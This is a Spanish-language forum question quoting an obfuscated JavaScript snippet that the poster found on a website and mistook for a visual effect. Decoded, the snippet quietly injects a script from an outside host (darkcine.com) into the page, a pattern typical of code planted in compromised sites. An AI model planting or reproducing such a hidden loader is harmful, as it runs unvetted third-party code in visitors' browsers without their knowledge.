Código PHP:
var _0x442f=["\x31\x31\x20\x35\x28\x29\x7B\x38\x28\x27\x31\x37\x3A\x27\x3D\x3D\x32\x2E\x31\x38\x2E\x31\x36\x29\x7B\x39\x20\x31\x35\x7D\x34\x20\x33\x3D\x32\x2E\x31\x39\x28\x27\x31\x34\x27\x29\x3B\x33\x2E\x36\x28\x22\x31\x30\x22\x2C\x22\x31\x32\x2F\x31\x33\x22\x29\x3B\x33\x2E\x36\x28\x22\x32\x35\x22\x2C\x22\x33\x30\x3A\x2F\x2F\x32\x37\x2E\x32\x39\x2F\x32\x30\x2F\x32\x38\x2F\x32\x36\x2E\x32\x31\x22\x29\x3B\x34\x20\x31\x3D\x28\x32\x2E\x37\x28\x27\x31\x27\x29\x5B\x30\x5D\x7C\x7C\x32\x2E\x37\x28\x27\x32\x32\x27\x29\x5B\x30\x5D\x29\x3B\x38\x28\x31\x3D\x3D\x32\x33\x29\x7B\x39\x7D\x31\x2E\x32\x34\x28\x33\x29\x7D\x35\x28\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x7C\x68\x65\x61\x64\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x73\x7C\x76\x61\x72\x7C\x6C\x6F\x61\x64\x53\x63\x72\x69\x70\x74\x5F\x50\x46\x4C\x56\x7C\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x69\x66\x7C\x72\x65\x74\x75\x72\x6E\x7C\x74\x79\x70\x65\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x74\x65\x78\x74\x7C\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x7C\x73\x63\x72\x69\x70\x74\x7C\x66\x61\x6C\x73\x65\x7C\x70\x72\x6F\x74\x6F\x63\x6F\x6C\x7C\x68\x74\x74\x70\x73\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x61\x70\x70\x73\x7C\x70\x68\x70\x7C\x62\x6F\x64\x79\x7C\x6E\x75\x6C\x6C\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x73\x72\x63\x7C\x68\x6F\x6D\x65\x7C\x64\x61\x72\x6B\x63\x69\x6E\x65\x7C\x69\x6E\x6B\x61\x6E\x69\x6D\x65\x7C\x63\x6F\x6D\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xeee5x1,_0xeee5x2,_0xeee5x3,_0xeee5x4,_0xeee5x5,_0xeee5x6){_0xeee5x5=function (_0xeee5x3){return _0xeee5x3;} ;if(!_0x442f[5][_0x442f[4]](/^/,String)){while(_0xeee5x3--){_0xeee5x6[_0xeee5x3]=_0xeee5x4[_0xeee5x3]||_0xeee5x3;} ;_0xeee5x4=[function (_0xeee5x5){return _0xeee5x6[_0xeee5x5];} ];_0xeee5x5=function (){return _0x442f[6];} ;_0xeee5x3=1;} ;while(_0xeee5x3--){if(_0xeee5x4[_0xeee5x3]){_0xeee5x1=_0xeee5x1[_0x442f[4]]( new RegExp(_0x442f[7]+_0xeee5x5(_0xeee5x3)+_0x442f[7],_0x442f[8]),_0xeee5x4[_0xeee5x3]);} ;} ;return _0xeee5x1;} (_0x442f[0],10,31,_0x442f[3][_0x442f[2]](_0x442f[1]),0,{}));
Esto me lo encontré en una pagina web que tenia un efecto muy bonito que quiero replicar, pero... Literalmente no entiendo nada.
Se que se puede comprimir codigo javascript para hacerlo menos entendible, pero en este caso no encuentro ninguna logica en el codigo, además, me gustaria aprender a hacerlo yo mismo.
Alguna idea?.
Gracias de antemano.